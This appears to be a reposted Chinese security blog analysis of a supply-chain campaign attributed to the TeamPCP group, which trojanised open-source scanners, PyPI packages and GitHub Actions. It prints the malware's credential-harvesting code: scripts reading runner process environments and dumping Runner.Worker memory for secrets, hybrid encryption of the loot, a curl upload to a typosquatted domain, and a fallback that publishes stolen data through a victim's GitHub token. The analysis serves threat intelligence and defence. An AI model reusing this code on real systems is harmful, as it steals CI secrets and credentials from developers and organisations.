文章总结: 犯罪团伙TeamPCP针对开源安全工具发起协同攻击,通过感染漏洞扫描器、PyPI包等窃取企业密钥和敏感数据。攻击手法包括读取GitHubActionsRunner环境变量、内存转储提取密钥、使用混合加密外泄数据,已造成300GB数据外泄和50万凭证被盗。文章详细分析了恶意代码的技术实现并提供了安全防护建议。 综合评分: 87 文章分类: 漏洞分析,威胁情报,恶意软件,供应链安全,安全工具
50万凭证被盗,300G数据外泄!多个开源漏扫工具被攻击
原创
suntiger suntiger
二进制空间安全
2026年3月26日 10:36 北京
将二进制空间安全设为”星标⭐️”
第一时间收到文章更新
事件背景
#
最近,犯罪团伙TeamPCP正在升级一场协同行动,把攻击目标对准开源安全工具和基础设施。将漏洞扫描器、OpenVSX扩展、PyPI、GitHub Actions流水线等环节,变成窃取企业密钥和敏感数据的通道。目前TeamPCP已在Telegram上公开宣称对多起后续攻击负责,战火仍在蔓延。目前最新动向包括针对Checkmarx的KICS扫描器和OpenVSX扩展攻击,以及PyPI上遭木马化的LiteLLM发行等,如图:
攻击者刻意选择那些已经深度嵌入CI/CD与企业环境的组件,据攻击者透露已经获取外泄压缩数据300GB左右,并在LiteLLM感染事件中盗窃了约50万凭证信息,同时暗示与其他团伙仍有协同、后续活动未将继续。
关键技术剖析
#
任何目标代码仓库被感染后,首段恶意代码会定位 GitHub Actions Runner 相关进程,并读取其环境变量:
_COLLECT_PIDS="$$"for _name in Runner.Worker Runner.Listener runsvc run.sh; do _PIDS=$(pgrep -f "$_name" 2>/dev/null || true) [ -n "$_PIDS" ] && _COLLECT_PIDS="$_COLLECT_PIDS $_PIDS"done
COLLECTED="/tmp/runner_collected_$$.txt": > "$COLLECTED"
for _PID in $_COLLECT_PIDS; do _ENVIRON="/proc/${_PID}/environ" [ -r "$_ENVIRON" ] || continue while IFS= read -r line; do key="${line%%=*}" val="${line#*=}" if echo "$key" | grep -qiE '(env|ssh)'; then printf '%s=%s\n' "$key" "$val" >> "$COLLECTED" if [ -f "$val" ] && [ ! -S "$val" ]; then printf '\n[%s]\n' "$val" >> "$COLLECTED" cat "$val" >> "$COLLECTED" printf '\n' >> "$COLLECTED" fi fi done < <(tr '\0' '\n' < "$_ENVIRON")done
脚本查找 Runner.Worker、Runner.Listener、runsvc、run.sh 等进程,从 /proc/<pid>/environ 读取以空字节分隔的环境变量,并筛选键名中含 env 或 ssh 的项;若值为文件路径则读取文件内容,一并写入 /tmp/runner_collected_<pid>.txt。
在 GitHub托管的 Linux Runner上,恶意代码会解码并执行一段经 base64 编码的 Python 脚本(通常配合 sudo):
import sys, os, re
def get_pid(): for pid in (p for p in os.listdir('/proc') if p.isdigit()): try: with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as f: if b'Runner.Worker' in f.read(): return pid except OSError: continue raise SystemExit(0)
pid = get_pid()map_path = f"/proc/{pid}/maps"mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f: m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if not m or m.group(3) != 'r': continue start = int(m.group(1), 16) end = int(m.group(2), 16) if start > sys.maxsize: continue mem_f.seek(start) try: chunk = mem_f.read(end - start) sys.stdout.buffer.write(chunk) except OSError: continue
该脚本通过 /proc/*/cmdline 定位 Runner.Worker 进程,结合 /proc/<pid>/maps 找出可读内存区,再从 /proc/<pid>/mem 读出各段数据。外层 shell 再对原始内存转储用 grep 匹配 GitHub Actions 在 Runner.Worker 堆中使用的 JSON 形态:"<name>":{"value":"<secret>","isSecret":true}。
这一手法与 GitHub 文档中关于托管 Runner 在 Linux/macOS 上允许无密码 sudo 的说明相符:高权限便于访问 /proc/<pid>/mem,绕开部分环境下对 ptrace、Yama LSM 等的限制。需要强调的是:并非仓库、组织或环境中配置的每一个密钥都会出现在该进程内存里;只有实际被工作流引用的密钥才会注入 Runner,且 fork PR、可复用工作流、Dependabot 触发等场景下还有额外限制。
在自托管 Runner 或非 Linux 环境下,会执行另一段 base64 编码的 Python 载荷,其注释中自称为 ## TeamPCP Cloud stealer,通过 emit(读文件)、run(执行命令)、walk(递归遍历)等函数在机器上系统性地搜索敏感数据。
目标类型覆盖极广:
数据外泄前,恶意代码使用典型的混合加密:
openssl rand 32 > "$_SESSION_KEY" 2>/dev/nullopenssl enc -aes-256-cbc -in "$COLLECTED" -out "$_ENC_FILE" \ -pass "file:$_SESSION_KEY" -pbkdf2 2>/dev/nullopenssl pkeyutl -encrypt -pubin -inkey "$_PUB_KEY_PEM" \ -in "$_SESSION_KEY" -out "$_ENC_KEY" \ -pkeyopt rsa_padding_mode:oaep 2>/dev/nulltar -czf "$_BUNDLE" -C "$_WORKDIR" payload.enc session.key.enc 2>/dev/null
随机 32 字节经 PBKDF2 派生 AES-256-CBC 的密钥与 IV;再用攻击者内置的 RSA-4096 公钥、OAEP 填充加密会话材料;加密后的载荷与封装后的密钥一并打入 tpcp.tar.gz。若无对应私钥,即便截获流量也难以解密内容。
通过HTTPS POST 到仿冒域名:
_HTTP=$(curl -s -o /dev/null -w "%{http_code}" -X POST \ https://scan.aquasecurtiy.org \ -H "Content-Type: application/octet-stream" \ -H "X-Filename: tpcp.tar.gz" \ --data-binary "@${_BUNDLE}" 2>/dev/null || echo "000")
若主端点未返回 2xx,且存在 INPUT_GITHUB_PAT,恶意代码会尝试用该令牌在受害者账号下创建公开仓库并上传资产。备用逻辑使用 /user/repos 等需用户级权限的接口,默认仅仓库范围的 GITHUB_TOKEN 往往无法完成该步骤,因此向工作流传入真实 PAT 的场景风险尤其高:
if [[ ! "$_HTTP" =~ ^2 ]] && [ -n "${INPUT_GITHUB_PAT:-}" ]; then _REPO="tpcp-docs" _GH_AUTH="Authorization: token ${INPUT_GITHUB_PAT}" _GH_API="https://api.github.com"
# 在受害者账号下创建公开仓库 curl -s -X POST "${_GH_API}/user/repos" \ -H "$_GH_AUTH" \ -d '{"name":"tpcp-docs","private":false,"auto_init":true}' ...
# 创建带时间戳标签的 Release _TAG="data-$(date +%Y%m%d%H%M%S)" _RELEASE_ID=$(curl -s -X POST "${_GH_API}/repos/${_GH_USER}/tpcp-docs/releases" ...)
# 将加密包作为 Release 资源上传 curl -s -X POST \ "https://uploads.github.com/repos/${_GH_USER}/tpcp-docs/releases/${_RELEASE_ID}/assets?name=tpcp.tar.gz" \ --data-binary "@${_BUNDLE}" ...fi
该路径会在受害者名下创建名为 tpcp-docs 的公开仓库,发布带时间戳标签的 Release,并把加密包作为资源上传;攻击者随后可通过在 GitHub 上搜索 tpcp-docs 定位并拉取数据。其顽固性在于:数据落在 GitHub 自有基础设施上,往往不易被企业防火墙简单拦截;仓库名看似无害,且攻击者不必自建大量外泄基础设施。
最后是清理代码:
rm -rf "$_WORKDIR" "$_PUB_KEY_PEM"firm -f "$COLLECTED"
临时文件被删除;若走了备用通道,则可能留下 tpcp-docs 仓库及出站 HTTPS日志痕迹。
#
#
(全文完)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:二进制空间安全 suntiger suntiger《50万凭证被盗,300G数据外泄!多个开源漏扫工具被攻击》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论